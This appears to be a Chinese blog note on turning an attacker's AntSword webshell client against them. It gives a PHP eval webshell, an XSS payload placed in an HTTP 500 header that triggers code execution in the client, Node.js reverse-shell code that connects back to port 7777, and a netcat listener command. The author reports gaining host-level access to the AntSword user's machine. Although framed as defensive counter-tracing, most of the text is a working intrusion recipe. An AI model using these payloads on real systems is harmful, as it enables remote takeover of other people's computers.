溯源反制-工具反制-蚁剑反制篇

红队：
上传一句话木马<?php eval($_POST['cmd']);?>
蓝队：
修改红队上传的webshell内容，改为：
<?php
header('HTTP/1.1 500 <img src=# οnerrοr=alert(1)>');
红队点击添加的URL，就会出现弹窗

以下为蓝队操作：
上线：
Nodejs代码：
var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(7777, "ip", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
编码组合后：

header("HTTP/1.1 500 Not <img src=# οnerrοr='eval(new Buffer(`dm......==`,`base64`).toString())'>");

 

保存

测试

nc监听 nc -lvvp 7777
注意：监听端口也得添加在安全组，否则像我一样跟无头苍蝇似的到处问为什么我的蚁剑和阿里服务器建立不了socket连接/(ㄒoㄒ)/~~
红队：蚁剑点击，但是报错
蓝队：同时nc回连，并且拿到的权限是主机权限，因为是建立的socket连接，所以即便红队退出蚁剑，蓝队也不会断开 
最终 蓝队通过修改后门的代码实现获得蚁剑使用者的权限（主机权限）
参考链接：
朔源反制-170-对抗上线CS，Goby，蚁剑，Sqlmap等安全工具_sqlmap反制_My Year 2019的博客-CSDN博客